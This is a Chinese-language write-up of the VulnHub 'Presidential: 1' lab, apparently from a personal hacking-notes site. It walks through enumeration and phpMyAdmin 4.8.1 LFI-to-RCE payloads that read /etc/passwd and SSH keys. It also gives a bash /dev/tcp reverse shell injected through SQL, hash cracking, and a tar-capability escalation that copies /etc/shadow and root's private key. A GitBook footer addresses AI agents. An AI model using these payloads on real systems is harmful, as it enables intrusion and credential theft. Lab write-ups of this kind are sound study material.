> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).

# Presidential: 1 VulnHub 解题记录

{% embed url="<https://www.vulnhub.com/entry/presidential-1,500/>" %}

{% hint style="warning" %}
技能：

* Web 枚举
* 信息泄露
* 虚拟主机
* 子域枚举
* 利用 phpMyAdmin - LFI 到 RCE（滥用 PHP ID 会话）
* 破解哈希（用户横向移动）
* 利用能力（tar cap\_dac\_read\_search+ep）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/98c2cf187caf42d02a83b0b83e7c0ee6b1f7a77f" alt=""><figcaption></figcaption></figure>

**使用 arp-scan 发现 IP 地址：**

使用 arp-scan 命令检测机器的 IP 地址：

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/891a79fb535c7fd315d17dd3eb09b361fc0a212b" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**/ 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```

<figure><img src="/files/658b27ca3412f6bd22a234ff27b92b42c2e18e38" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```

<figure><img src="/files/acb6f53191a3c2cd879efbbc5d02883ec48e82df" alt=""><figcaption></figcaption></figure>

#### 使用 Wappalyzer 扫描服务器：

使用 Wappalyzer 确定服务器正在使用 Apache 和 PHP 编程语言。

<figure><img src="/files/24c46bc756915155d5cf9fd0511b278f2b6dcb84" alt=""><figcaption></figcaption></figure>

**使用 WhatWeb 识别目标版本：**/ 使用 WhatWeb 扫描网站并识别机器版本（Ubuntu）和 Apache：

<div data-full-width="true"><figure><img src="/files/737bddabf0afd6f8c87fa996aaf9f8ed34a3d0f7" alt=""><figcaption></figcaption></figure></div>

**用于子域搜索的虚拟主机配置：**

在开始搜索子域之前，先为目标配置虚拟主机，以更好地定位你想要的信息。

<figure><img src="/files/b4a1f810bc006b07b2cfe18393808bc2c96ae100" alt=""><figcaption></figcaption></figure>

**站点上的潜在用户识别：**

探索网站以识别潜在用户。在本例中，识别出两个用户，Kelly Bowen 和 Hugh Morgan，作为重点关注对象。

<figure><img src="/files/93ece55b97d3bc074b90823105b67cc19bf0f1ac" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 搜索目录**

使用目录列表与 Gobuster 查找隐藏访问路径。识别出三个目录，其中一个“cgi-bin”具有潜在的脆弱性风险，可能受到 [shellshock](/zh/web-vulnerabilities/shellshock-attack.md) 攻击。

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```

<figure><img src="/files/dd650b48c660ae9eb4e0ac753921334f726b88d6" alt=""><figcaption></figcaption></figure>

**搜索 PHP 扩展名文件**

使用 Gobuster 进行特定文件搜索，查找 PHP 扩展名相关文件。发现一个“config.php”文件，但在解析后没有显示任何可见信息。

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```

<figure><img src="/files/4e5cef765c2c5e452102b66e7d8c61d37f525001" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/348b1db13bf1e561678f51533600263353a51a73" alt=""><figcaption></figcaption></figure>

**搜索备份文件（bak 扩展名）**

继续搜索，专门针对扩展名为“.bak”的备份文件。找到一个可能包含敏感信息的相关文件。

<figure><img src="/files/caba27b9ba205b1af85ad8b74df3d4f05b014baa" alt=""><figcaption></figcaption></figure>

**获取数据库凭据：**

使用从“.bak”备份文件中提取的信息来获取数据库凭据。

<figure><img src="/files/3770cc03c0977239853f599cfbd970958374ffd5" alt=""><figcaption></figcaption></figure>

**SSH 连接尝试：**

尝试使用通过 SSH 获得的凭据进行连接。由于缺少私钥，尝试失败。

<figure><img src="/files/f8ee78fa26c299dccf6f43156c59658c6a743180" alt=""><figcaption></figcaption></figure>

**验证 SSH 上“votebox”用户的有效性**

由于 SSH 版本较旧，检查用户“votebox”是否为系统中的有效用户。

<figure><img src="/files/be915882823dce6a7c525c5abb15884cc4079baf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/77182d2d18f5d19bc5b28f27b244c62213fc3457" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 发现的子域名**

使用子域名列表与 Gobuster 探索可能的子域名。然而，此次尝试没有得到积极结果。

```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```

<figure><img src="/files/1156165b79d84ecf67e4d735158bd07a7834d875" alt=""><figcaption></figcaption></figure>

**使用不同字典进行子域名的替代搜索：**

使用不同的目录字典重复搜索子域名。

<figure><img src="/files/316fca4f2863cefd7d5b5fb8463cd17ad364d2e2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/78e26eaa0eef252ec00f9bfb9f0918ebfa7df414" alt=""><figcaption></figcaption></figure>

#### 根据之前发现的“.bak”文件确认身份。

<figure><img src="/files/78613f6a1264f13ea9ce5605cbb3600ddbe5ee36" alt=""><figcaption></figcaption></figure>

**phpMyAdmin 中的 NCE 漏洞识别**

在发现 phpMyAdmin 版本存在漏洞（4.8.1）后，使用 SearchExploit 工具查找相应的利用方式，并识别一个 [RCE ](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)（远程代码执行）漏洞。

<figure><img src="/files/87294a142a3df59a74d19c0e6aefc162dba28165" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2d063f6fe3998e0c4cc3a50540cb0372fcf131d3" alt=""><figcaption></figcaption></figure>

## RCE 漏洞：

利用 NCE 漏洞，通过向 URL 注入以下脚本来读取文件“/etc/passwd”：

<figure><img src="/files/071ddc8b72f86381c6f60d2319541d3b077d6fdf" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/ff6a9e0e8b809b6c82c59de89ad967b34cfcb529" alt=""><figcaption></figcaption></figure>

**尝试恢复 admin 用户的 SSH 私钥**

尝试使用以下 URL 访问“admin”用户的 SSH 私钥，但遇到错误：

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/4831e6b7a3da4c389f56caf22653e838a7b63ee9" alt=""><figcaption></figcaption></figure>

**探索私有网络的内部端口**

使用以下 URL 从 /proc/net/tcp 文件中列出服务器的内部端口：

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/aaf2ecbfd1b3fc81aa62be2dc861492d54a31c69" alt=""><figcaption></figcaption></figure>

将这些端口保存到数据文件以供进一步分析。

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/3d8158991c1f7e328fc5d45741c6c31e29e9b438" alt=""><figcaption></figcaption></figure>

**识别包含 phpMyAdmin 会话的目录**

通过探索脚本，识别包含 phpMyAdmin 会话的目录：

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/e4982882d802f2e7cb129d045e7d072701afcf57" alt=""><figcaption></figcaption></figure>

## phpMyAdmin 漏洞（命令注入）

**使用 phpMyAdmin 会话 cookie 进行命令注入**

<figure><img src="/files/1e3b228121b9186da433d44438e39d057874d0e3" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/54c1a445633b52f822f0ed51e48bcef01607caa0" alt=""><figcaption></figcaption></figure>

#### 该文件会解释所有查询命令。

```sql
SELECT 'testing';
```

<figure><img src="/files/0ec3579593d6fcf00d8764522511256275cd694c" alt=""><figcaption></figcaption></figure>

**通过 SQL 命令注入获取一个** [**反向 Shell**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

/*/* 终于获得了对机器的访问：/*/*

<figure><img src="/files/443801922d60410ac709d07085288415784fd865" alt=""><figcaption></figcaption></figure>

#### 用于权限提升的终端稳定化：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### **对 /home/admin 的访问限制以及发现一个哈希密码：**

查看对 /home/admin 的访问限制，这需要经过认证的访问。在 phpMyAdmin 中，观察到用户“admin”拥有一个哈希密码，表明需要解密该密码才能访问文件系统。

<figure><img src="/files/cee0e0a23029c04d0e24574dce1e8abfc270967f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/12784ee124a53fa07586dc3bc8868dd946a74885" alt=""><figcaption></figcaption></figure>

## 密码暴力破解：

创建一个包含该哈希密码的“hash”文件，并使用 John the Ripper 尝试借助密码字典（此示例中为 rockyou.txt）破解它：

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

**显示的密码**

```bash
john --show hash
```

<figure><img src="/files/c5a4eb8ff3f9462c9d0764befbfe5392c0a43ba2" alt=""><figcaption></figcaption></figure>

#### **切换到 `admin` 用户**

使用为 admin 用户解密出的密码，以管理员身份连接到系统

<figure><img src="/files/50a0c65e8b11e49a34cc5972232b294026f13b07" alt=""><figcaption></figcaption></figure>

## 权限提升（Capabilities）

```bash
getcap -r / 2>/dev/null
```

使用 `getcap` 命令来探查系统能力。识别出一种列出系统中所有文件的方法。

<figure><img src="/files/14374b62d9ba66dd8c1f0875883483224cb010e1" alt=""><figcaption></figcaption></figure>

/*/* 使用 tar/ 捕获 /etc/shadow 文&#x4EF6;*/*

在 /tmp 目录中创建一个文件夹，并使用以下命令包含 /etc/shadow 文件：

```bash
tarS -cvf shadow.tar /etc/shadow
```

在 /tmp 目录中解压归档。作为创建者，修改权限以查看 /etc/shadow 的内容。

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/589b5913dac706b71b28b5943911c24884d6c86e" alt=""><figcaption></figcaption></figure>

**使用 tar 捕获 .ssh 私钥**

使用以下命令捕获 root 用户的 .ssh 私钥：

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/951df55f4c586383d33960da376fa8a42a8d6d70" alt=""><figcaption></figcaption></figure>

**使用捕获的私钥进行 SSH 连接：**

使用捕获的私钥在本地机器上建立到 root 用户的 SSH 连接。

```bash
ssh -i id_rsa root@localhost -p 2082
```

**获得 Flag :)**

<figure><img src="/files/d9b5aa200658486955c40b733a2f02fdd4beae2d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
